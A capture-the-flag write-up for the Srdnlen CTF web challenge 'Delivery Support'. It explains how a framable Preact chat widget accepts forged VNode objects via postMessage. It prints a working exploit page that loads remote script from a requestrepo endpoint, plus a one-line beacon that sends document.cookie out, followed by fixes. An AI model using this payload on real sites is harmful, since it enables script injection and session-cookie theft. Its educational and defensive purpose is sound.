b0510

Delivery Support

> CTF: Srdnlen CTF

> Category: Web

> Difficulty: Medium

> Solves: —

Description

Porter Parcel's help center embeds a Preact chat widget as an iframe and sends it questions via postMessage. The admin bot stores the flag in a flag cookie on the app origin, so the goal is to run script inside the widget's origin.

Files provided: web app source code

Approach

The intended message path is narrow: the FAQ page has one button, site.js posts a string to the widget iframe, and the widget renders it. The vulnerability is that the widget trusts this contract blindly — it does not validate the parent's origin, does not enforce that content is a string, and the widget page is framable by anyone.

The chain worked as follows:

  1. Arbitrary Framing: Nothing on widget.html sends Content-Security-Policy: frame-ancestors or X-Frame-Options, so an attacker page can frame it and become its parent. The widget's only check is event.source !== parent, which the attacker trivially satisfies by being the parent.
  2. Non-String Content Injection: The legitimate sender (site.js) always sends a string. The attacker sends an object shaped like a Preact VNode with type: "script". Preact cannot distinguish it from a real VNode, so it creates and executes a real <script> tag on the widget's origin.
  3. Exfiltration: The injected script runs on the challenge origin, reads document.cookie (the flag) and beacons it to an attacker-controlled endpoint.
  4. Bot visit: the attacker page is submitted to /report/; the bot opens it with the flag cookie attached to the app origin and stays for 15 seconds, enough for the beacon to arrive.

Technical Analysis

The Legitimate Contract

site.js is the only intended sender. The FAQ button carries a question string, and it posts it to the widget iframe:

document.querySelector('[data-ask]').addEventListener('click', event => {
  chat.open = true;
  frame.contentWindow.postMessage({
    type: 'chat-message', content: event.currentTarget.dataset.ask
  }, window.origin);
});
  • Assumption 1: the widget is only ever framed by /index.html (same origin).
  • Assumption 2: content is always a string, because the only sender sends one.
  • The FAQ hint: "Why does the support assistant return the same response?" hides an Open the assistant button with data-ask="Why does the assistant repeat itself?", pointing at the static replies array and the message path.
  • Widget handshake: the widget posts { type: 'widget-ready' } back to its parent, which is likewise never validated.

The Vulnerable Handler

function receive(event) {
  // no event.origin check
  if (event.source !== parent) return;
  // shape check only
  if (event.data?.type === 'chat-message')
    // content not coerced to string
    addMessage(event.data.content);
}
  • Weak check: event.source !== parent accepts any page that frames the widget.
  • Sink: addMessage(content) stores the raw value; Preact 10.29.8 renders it with h('p', { key: index, class: ... }, message.content). A string becomes a text child, an object is treated as a VNode.
  • Tooling Used: Browser DevTools, Preact source (VNode structure), requestrepo.com for hosting and exfiltration.

Execution Steps & Payload Findings

1. Framing & Message Spray

The exploit page frames the widget and re-sends the payload every 500ms to win the race against iframe load and re-renders. In the local Compose setup nginx exposes everything on 127.0.0.1:80 (/ to the app on 3001, /report/ to the bot on 3000), so the iframe target is http://127.0.0.1/widget.html:

<iframe src="http://127.0.0.1/widget.html" onload="send"></iframe>

<script>
    setInterval(() => {
        frames[0].postMessage({type: "chat-message", "content": {
            constructor: void 0,
            key: 10,
            props: {"src": "https://xe1cnf17.requestrepo.com/a.js"},
            ref: null,
            type: "script",
            __: null,
            __b: 1,
            __c: null,
            __e: null,
            __i: -1,
            __k: null,
            __u: 0,
            __v: 14
        }}, "*")
    }, 500)
</script>
  • Why the __* fields: they mimic Preact's internal VNode bookkeeping so the object survives reconciliation and is treated as an element, not text.
  • Why constructor: void 0: prevents the object from being classified as an ordinary JS object during Preact's type checks.
  • Why the interval: the widget may not have attached its listener yet on first send, and re-renders can drop the injected node; spraying makes the exploit reliable.
  • About onload="send": a leftover from local testing — no send function exists, so the interval does all the work.

2. Script Execution on the Widget Origin

Preact renders the forged VNode into <script src="https://xe1cnf17.requestrepo.com/a.js">, which the browser fetches and executes on the widget's origin (127.0.0.1 locally, the challenge host in production).

3. Cookie Exfiltration

The hosted payload beacons the whole cookie jar to the requestrepo endpoint:

navigator.sendBeacon("https://xe1cnf17.requestrepo.com", document.cookie);

4. Reporting the URL

The attacker page is posted to /report/. The bot accepts any ^https?://.*$ URL (limited to 2 submissions every 10 seconds), opens it with a flag cookie scoped to the app hostname (Secure, SameSite=None) and waits 15 seconds, so the beacon lands in the requestrepo log.

Root Cause & Fix

  • Framing: send Content-Security-Policy: frame-ancestors 'self' (or a specific origin) on widget.html so only the intended page can embed it.
  • Origin check: validate event.origin against the legitimate parent, not just event.source.
  • Type coercion: coerce incoming content with String(content) before storing it. Strings are always rendered as text; objects are interpreted as elements.
  • Schema whitelist: accept only { type: "chat-message", content: <string> }.

Flag

srdnlen{i_did_not_pwn_this_during_the_ctf_sadly}
← back to articles